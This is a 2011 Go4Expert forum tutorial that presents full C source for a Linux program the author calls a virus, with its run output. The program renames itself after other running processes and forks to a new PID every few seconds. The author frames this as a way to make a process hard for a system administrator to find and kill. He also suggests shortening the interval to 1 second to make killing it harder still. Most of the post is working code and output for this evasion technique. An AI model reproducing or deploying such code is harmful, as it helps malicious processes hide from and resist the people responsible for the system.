Go4Expert

Go4Expert (http://www.go4expert.com/)
-   C (http://www.go4expert.com/articles/c-tutorials/)
-   -   Virus in Linux - C Code That Changes it's Process Name and its Process ID at Run Time (http://www.go4expert.com/articles/virus-linux-c-code-changes-process-t27250/)

poornaMoksha 30Nov2011 08:07

Virus in Linux - C Code That Changes it's Process Name and its Process ID at Run Time
 
After writing my previous article Virus Code in Linux - C Code That Changes it's Process Name Run Time, I wondered if a process can change its name then why cannot it change its PID. And what if a process can change both its name and PID after lets say every 1 second? Well it will be a difficult task for a system administrator to kill that process. SO I decided to go ahead with the Idea.

Lets see what I did...

The Code



Here is the code for a program that changes its name and PID after every 5 seconds. I chose 5 seconds as its relatively easy for a user to kill this program once its run. If some one likes this code and wants to use it. He/she can reduce the sleep() time to 1 second and then run the code.

Code:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
 
void change_pid()
{
    pid_t pid;
 
    // This function will replace the existing process image by
    // a new process image. For all those who are new to fork()
    // please refer to its man page and try out a few basic 
    // exercise to understand what this system call does. Just 
    // from the fact that this system call is made once but it 
    // returns twice, I must say that its not a trivial system 
    // call to understand.
    pid = fork();
    if(0 == pid)
    {
        // pid ==0 means that this is child. Just print a log and
        // do nothing here. Our motive was to create a new PID 
        // Which was only possible if we could create a new process
        // image using fork. We did it successfully here.
        printf("\n Child process created!!!!!\n");
    }
    else
    {
        // This is the parent process, with old PID. We do not need
        // it anymore so just exit from this.
        printf("\n Created a new process, Exiting!!!!!\n");
        exit(0);
    }
}
   
 
void change_name(char *argv[])
{
    char buff[1024]; // Buffer to read lines
    char new_name[1028]; // Buffer to store new process name
 
    char *ptr = NULL;
    FILE *fp  = NULL;
 
    a: memset(buff,'\0', sizeof(buff)); // Setting the memory with NULLs
    memset(new_name,'\0', sizeof(new_name)); // Setting the memory with NULLs
 
    // Introduce constant 3 bytes '123' in the begining 
    // of every process name that we change our process name to. 
    // So that we can at least easily track our process name
    // when we check it using ps command. Note that
    // this is only for practice purpose otherwise there
    // is no need for a set of constant bytes like these.
    new_name[0] = '1';
    new_name[1] = '2';
    new_name[2] = '3';
 
    // Run the command 'ps -aef > ps.txt'
    // This command will store the result of 'ps -aef' in a text file 'ps.txt'
    // The files would have entries like :
      // UID        PID  PPID  C STIME TTY          TIME CMD
      // root        1    0  0 20:49 ?        00:00:00 /sbin/init
      // root        2    0  0 20:49 ?        00:00:00 [kthreadd]
      // root        3    2  0 20:49 ?        00:00:00 [migration/0]
      // root        4    2  0 20:49 ?        00:00:00 [ksoftirqd/0]
 
    system("/bin/sh -c 'ps -aef > ps.txt'");
 
 
    // Open the file 'ps.txt'
    fp = fopen("ps.txt", "r");
 
    if(NULL == fp)
    {
        printf("\n File open failed\n");
        //return -1;
    }
 
    // Get each line from file until the whole file is read or some error occurs
    while(NULL != fgets(buff, sizeof(buff), fp))
    {
        // Search for the character '[' in the line fetched from file.
        // This is because most of the process names are enclosed in '[' brackets.
        // For example :
        // root        2    0  0 20:49 ?        00:00:00 [kthreadd]
        ptr = strchr(buff, '[');
 
        unsigned int len = strlen(buff);
 
        if(NULL == ptr)
        {
            // Search for the character '/' in the line fetched from file.
            // This is because many of the process names are start with '/'.
            // For example :
            // root        1    0  0 20:49 ?        00:00:00 /sbin/init
            ptr = strchr(buff, '/');
        }
        if(NULL != ptr)
        {
            // If any one of '[' or '/' is found than copy the complete process
            // name in the buffer which already holds 123 as its first three bytes.
            // Make sure that you do not overwrite the first three bytes of the buffer
            // new_name which contains 123 as its first three bytes
            strncat((new_name+3), ptr, ((buff + len-1) - ptr));
        }
        else
        {
            // If the line fetched does not contain either of '[' or '/'
            // Then use a default process name '/bin/bash'
            ptr = "/bin/bash";
            strncpy((new_name+3), ptr, strlen(ptr));
        }
 
        // Since by now we have the new_name buffer filled with
        // new process name so copy this name to arg[0] so as to 
        // change our process name. 
        strncpy(argv[0], new_name, sizeof(new_name));
 
        printf("\n %s \n", new_name);
 
        // Call this function to change the PID of the process by 
        // forking a new process. When the flow would return from 
        // this function, the process would be different and hence
        // its PID would be different.
        change_pid();
 
        //A delay of one second so that you can run the command 'ps -aef'
        // and check the new name of our process and its new PID. Note 
        // that it is very now difficult to kill this process through 
        // ctrl+c as somehow its getting ignored (I will research more
        // on this and will come back with analysis soon). I have kept 
        // the sleep interval to be 5 sec because the more I reduce it,
        // the more difficult is for the user to kill it using :
        //            kill -9 <PID>
        // as PID keeps on changing within seconds. 
        sleep(5);
       
        //Time to fetch a new line from ps.txt so just reset
        // the buffer new_name with NULL bytes except the first
        // three bytes which are '123'. 
        memset((new_name+3),'\0', sizeof(new_name));
    }
 
    // Seems like either we are done reading all the lines
    // from ps.txt or fgets() encountered some error. In either
    // of the case, just close the file descriptor
    fclose(fp);
 
    // Since we do not want to stop even now, so lets re run the
    // whole cycle again from running the command 'ps -aef > ps.txt'
    // to reading each line using fgets() and changing the our process
    // name accordingly
    goto a;
}
 
 
int main(int argc, char* argv[])
{
    change_name(argv);   
    return 0;
}

In this code, I created two functions :
  • change_name() -> for continuously changing the name
  • change_pid() -> for continuously changing the PID of the process
Now, once a name is changes successfully, a call to change_pid() is made so that the a new process with new pid which will execute the same code gets created while the old process is terminated.

Rest of the explanation I have provided as comments in the code itself.

Output



Now, the interesting part, lets run the code and see the output :

Code:

~/practice $ ./namepid 
 
 123/bin/bash 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
~/practice $ 
 123/sbin/init 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[kthreadd] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[migration/0] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[ksoftirqd/0] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[watchdog/0] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[migration/1] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[ksoftirqd/1] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[watchdog/1] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[events/0] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[events/1] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!

When the code was executed, it started changing its name and its conveying that it is successfully changing its PID. Now I opened another terminal and checked the PID using the command ps -aef and running this command after every 5 seconds and I conformed that the PID was actually changing.

Now I tried to kill it using ctrl+c :

Code:

123[cpuset] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[khelper] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[netns] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ ^C
~/practice $ 
 123[async/mgr] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[pm] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[sync_supers] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[bdi-default] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[kintegrityd/0] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[kintegrityd/1] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!
 
 123[kblockd/0] 
 
 Created a new process, Exiting!!!!!
 
 Child process created!!!!!

But as you can see from the output, it kept on executing. This is something which I need to investigate that why SIGINT is being ignored here. Anyways after multiple tries, I was able to kill the process using :

kill -9 <PID-of-process>

Why it took multiple tries was because by the time I found the PID and wrote the above command, the PID use to get changed. But any how I got success. Thats why I was thinking that If the sleep() time is reduced to '1' sec then it will become very very difficult to kill the process.

Conclusion



To Conclude, In this article I extended my previous article where a process could change its name continuously on run time to a process which can now change its PID along with its name at run time.

Stay tuned for more!!!!


All times are GMT +5.5. The time now is 10:39.